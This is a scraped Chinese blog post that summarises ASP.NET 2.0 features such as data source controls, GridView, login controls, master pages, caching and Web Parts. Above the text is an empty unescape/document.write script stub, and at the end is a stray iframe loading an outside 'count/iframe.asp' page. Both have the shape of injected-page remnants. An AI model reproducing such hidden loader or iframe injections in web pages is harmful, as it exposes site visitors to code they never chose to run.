HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
asp.net2.0新特性
Asp.net2.0
激动人心的新特性
因为下个项目的平台会迁移到2.0 ,组长要我学习2.0,并给大家讲课,我 就瞎写了点,并参考了msdn里的资料,当然也有图片,不过没有贴来,嫌麻烦。。。此篇文章仅限粗略了解asp.net2.0用。并无实例和代码。
Asp.net2.0
相对
1.1
版本做了很大程度的优化和创新,为开发人员提供了更多更全方位的支持,使得
web
开发不再复杂,下面,我将简要介绍一下
asp.net2.0
的新特性。
一
数据源控件
这个控件有几个类型
:
sqldatasource ,
专门针对支持
sql
语言的数据库(并非只是
sql server
)提供强大支持,内建
sql
语句,非常强大。
2
种返回模式,
datareader dataset
,其中传递的参数,可以在图形化界面上指定参数来源,可以来自
session,cookie,application
等等。
Sqldatasource
的几个关键属性是:
connectionstring
四个
command
,
datasourcemode (dataset or datareader)
providername(sql server or oracle
, sql server by default).
还有几个关于缓存的属性,会在稍后介绍。
xmldatasource,
这个属性是为了迎合
xml
数据库,但微软现在只提供只读的,不能对
xml
进行更新等操作。但支持缓存,
xsl
转换,关键属性为
datafile ,
指定的
xml
文件的位置
,xpathtransformfile
(
xsl
转换)等属性。
objectdatasource,
这个属性是为多层架构的专用。在多层间往返实体类的时候使用,比如从数据库访问层返回给
UI
层一个客户类
accessdatasource,
专用于
access
sitemapdatasource.
专用于
sitemap
,是关于站点导航的。这个
sitemap
其实是封装的一个关于整个站点页面布局的
xml
文件。
另外,在
dataset
的改进,
1.1
版本的
DS
只能以
XMl
格式化,传输,但在
2.0
中,
DS
支持了二进制的序列化,能够以体积更小的方式传送,
Ds.remotingformat = serilizationformat.binary.
指定序列化格式。提高性能。
二
新增的数据绑定控件
:
gridview , Detailview ,formview , treeview
等,这些功能强大的数据控件配合使用,非常的强大。
Gridview
控件是在
datagird
的升级版,它新增了更多的功能,比如自动排序,自定义分页(与
datagird
的分页不同,他每翻一次页,就从
dataset
中读取数据再绑定当前页,而不是
datagrid
中每翻页就要八页面数据全绑定,数据量较少时可以用
gridview,
但超大数据量还只能自己写分页)。
Detailview
与
gridview
配合使用,当点击
gridview
上某行时,可以在
detailview
中显示详细信息。
Formview
也是如此,与
gridview
一起,显示某条记录的详细信息。
Treeview
就不用介绍了,加入
2.0
是大势所趋。
Treeview
的高可定制化,使得性能很好,比如树很大,你可以每次只是加载当前节点和下一节点,不必加载全部。
数据绑定控件中,还有几个特殊的,比如,加入了激动人心的广告控件,对广告图片进行绑定,对广告的设置可以存为
xml
格式,再把
xml
文件绑定到广告控件
adrotator
中。它支持对各轮循的广告进行时间比例控制。
三
新增的其他控件
上传文件控件,可以上传文件,但其实是一个客户段控件。
图片按钮控件
imagebutton
,图片可以被分割成几个部分,点击每个部分的事件不同。
图片地图控件
imagemap
,图片控件的更高支持,把图片分为几个热区,每个热区你可以视为单独的控件。运行不同的服务器代码。
Multiview
控件,是
view
控件的容器,你可以编程的方式来实现显示哪个
view
控件。
登陆控件
这个控件直接拖拽过来可以实现以前需要手写很多代码的功能。登陆控件包含一系列的控件,他能实现比如验证,找回密码,改变密码,针对登陆用户和匿名用户显示不同信息,等一系列激动人心的功能。
四
主题和皮肤
Asp.net2.0
为网站美工提供了更加强大方便的支持。使用
masterpage,
可以使得整个网站的页面风格统一,
masterpage
是一个页面的框架,比如整个网站的头和脚还有导航条都是一样的,你就可以在
masterpage
全部定义好网站中不变的,在编写其他的页面的时候,你只需要继承那个
masterpage
就可以了(在
contentplaceholder
中)。
Theme
文件夹下存储了
skin
文件,
skin
文件记录了控件外观的多种属性,
五
缓存技术
Asp.net2.0
提供了另开发人员十分陶醉的缓存技术。他在
1.1
版本的基础上,新添加了
sqldaracaching
,即能够让缓存在服务器端的数据的有效性依赖于
sqlserver
数据库中某个对象,某行某个字段等,当其一旦改变的话,缓存立即失效,并且你可以在缓存实效的回调方法中,重新执行读取数据库的方法,从很大程度上弥补了缓存的不足:时效性差。同时,你还能够开启磁盘缓存技术,能够让你的大量数据缓存在磁盘上,不占用内存。同时,也能够把缓存策略写入配置文件,使得更加灵活。还有回调缓存(缓存后替换),有些页面绝大部分是可以缓存的,但是极少部分在缓存时时效性不足,需要实时更新,那么采用回调缓存,你可以缓存绝大部分,在动态部分经过编译后生成为
html
再加入到缓存中返回给客户端。
(是否需要队
asp.net2.0
的缓存作全面地介绍?)
六
webpart
Webpart
为
sharepoint
中的引用,他能够把页面分成很多的
part
,
part
能够让用户自己定制,用户具有选择权。在
webpart
上的应用成功案例,可以参考
www.fego.cn
。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">